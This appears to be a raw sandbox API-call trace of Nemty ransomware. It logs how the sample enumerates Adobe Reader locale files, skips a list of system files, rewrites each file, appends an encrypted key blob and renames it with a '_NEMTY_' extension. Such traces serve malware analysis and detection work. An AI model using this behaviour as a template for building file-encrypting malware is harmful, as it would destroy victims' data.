HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.891] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\eBook.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ebook.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\eBook.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ebook.chs._nemty_kgobjgd_")) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.892] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.CHS", cAlternateFileName="")) returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2=".") returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="..") returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="...") returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="windows") returned -1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="rsa") returned -1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="NTDETECT.COM") returned -1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="ntldr") returned -1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="MSDOS.SYS") returned -1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="IO.SYS") returned -1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="boot.ini") returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="boot.ini") returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.892] lstrcmpiW (lpString1="EScript.CHS", lpString2="ntuser.dat") returned -1 [0185.893] lstrcmpiW (lpString1="EScript.CHS", lpString2="desktop.ini") returned 1 [0185.893] lstrcmpiW (lpString1="EScript.CHS", lpString2="CONFIG.SYS") returned 1 [0185.893] lstrcmpiW (lpString1="EScript.CHS", lpString2="RECYCLER") returned -1 [0185.893] lstrcmpiW (lpString1="EScript.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.893] lstrcmpiW (lpString1="EScript.CHS", lpString2="bootmgr") returned 1 [0185.893] lstrcmpiW (lpString1="EScript.CHS", lpString2="programdata") returned -1 [0185.893] lstrcmpiW (lpString1="EScript.CHS", lpString2="appdata") returned 1 [0185.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.893] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHS", lpUsedDefaultChar=0x0) returned 11 [0185.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.893] Sleep (dwMilliseconds=0x5) [0185.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22742690, dwHighDateTime=0x1d561e8)) [0185.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22742690, dwHighDateTime=0x1d561e8)) [0185.903] GetLastError () returned 0x0 [0185.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.903] GetLastError () returned 0x0 [0185.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.903] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.903] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.903] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.904] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Siz8NSSiT23kvIQGDppVgzWwBSmB3qHOd5GCtnRnoTRMCfCaXfkjDO5YkeFu5S4r\r\nP/i10+65rHMXciG/3epWpgVlJgzBWAD+eziMDHhQMMUNfpcmM2ZcTBuq85Gbcf/z\r\nXgOr7ba7EQLFA3wLHp9oTVVEnccTZkA2FyXmgEIvknraSGkXnA0kUbRFR6Zb+z1d\r\nVeI0V1XIELnNmuto5th+Txx4fUas0S9DkzI6KLXYnEIvpg21e4bguQpBzhyvmca2\r\nY6t9Ma73vrNZr/k1zxCd9FiJ8vJ5uVWcqzgI5sGxEfRpNnOlrOPsLI/JO6d2EG89\r\niF6YuGM06lCZWmoMKV6fnA==\r\n", pcchString=0x653e5dc) returned 1 [0185.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.904] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\EScript.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\escript.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.904] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=29696) returned 1 [0185.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7400) returned 0x6352c48 [0185.904] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.904] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7400, lpOverlapped=0x0) returned 1 [0185.908] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.908] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7400, lpOverlapped=0x0) returned 1 [0185.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.908] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400 [0185.908] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.908] CloseHandle (hObject=0x2e8) returned 1 [0185.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.908] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.909] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\EScript.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\escript.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\EScript.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\escript.chs._nemty_kgobjgd_")) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.909] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.CHS", cAlternateFileName="")) returned 1 [0185.909] lstrcmpiW (lpString1="IA32.CHS", lpString2=".") returned 1 [0185.909] lstrcmpiW (lpString1="IA32.CHS", lpString2="..") returned 1 [0185.909] lstrcmpiW (lpString1="IA32.CHS", lpString2="...") returned 1 [0185.909] lstrcmpiW (lpString1="IA32.CHS", lpString2="windows") returned -1 [0185.909] lstrcmpiW (lpString1="IA32.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.909] lstrcmpiW (lpString1="IA32.CHS", lpString2="rsa") returned -1 [0185.909] lstrcmpiW (lpString1="IA32.CHS", lpString2="NTDETECT.COM") returned -1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="ntldr") returned -1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="MSDOS.SYS") returned -1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="IO.SYS") returned -1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="boot.ini") returned 1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="boot.ini") returned 1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="ntuser.dat") returned -1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="desktop.ini") returned 1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="CONFIG.SYS") returned 1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="RECYCLER") returned -1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="bootmgr") returned 1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="programdata") returned -1 [0185.910] lstrcmpiW (lpString1="IA32.CHS", lpString2="appdata") returned 1 [0185.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHS", lpUsedDefaultChar=0x0) returned 8 [0185.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHS", lpUsedDefaultChar=0x0) returned 8 [0185.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHS", lpUsedDefaultChar=0x0) returned 8 [0185.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0185.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.CHS", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.CHS", lpUsedDefaultChar=0x0) returned 8 [0185.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.911] Sleep (dwMilliseconds=0x5) [0185.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x227687f0, dwHighDateTime=0x1d561e8)) [0185.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x227687f0, dwHighDateTime=0x1d561e8)) [0185.919] GetLastError () returned 0x0 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.919] GetLastError () returned 0x0 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.919] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.919] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.919] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.919] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="PqbrkbPBdydos0lC+apX+pmXtrrbY07DG+YLbk1i9cE1yVujVc1nP0TX9NMNB3nl\r\npFShUbC97tbUyWzh8b/ljIPuYhwlbBNoXs4Z8lS3V7hvfmwzQaL0qr8Ah/x5A0iI\r\nKyI8+q5QShKoa55hkPuaJdO098m4hN0u4ajU5s3REujj2Jtie7nu+nu+tk98LNLy\r\nlowGOGJNEuAwOTRaXviCnLk7+iVnkFmdE22GUAQ3+RwBgCGfA71OYGihNG6ndKM/\r\n4XSqxwaPX7feAvfD/d97VuIZnL2L+O1EMQ11K7KmmeEDhRQGIVFzDmV1vkuEvHgA\r\n6t/qsE/Y0VjPmsfolkOKKg==\r\n", pcchString=0x653e5dc) returned 1 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.919] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.919] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\IA32.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ia32.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.920] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3072) returned 1 [0185.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc00) returned 0x634ad48 [0185.920] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.920] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xc00, lpOverlapped=0x0) returned 1 [0185.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.922] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xc00, lpOverlapped=0x0) returned 1 [0185.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0185.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00 [0185.922] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.922] CloseHandle (hObject=0x2e8) returned 1 [0185.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.922] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 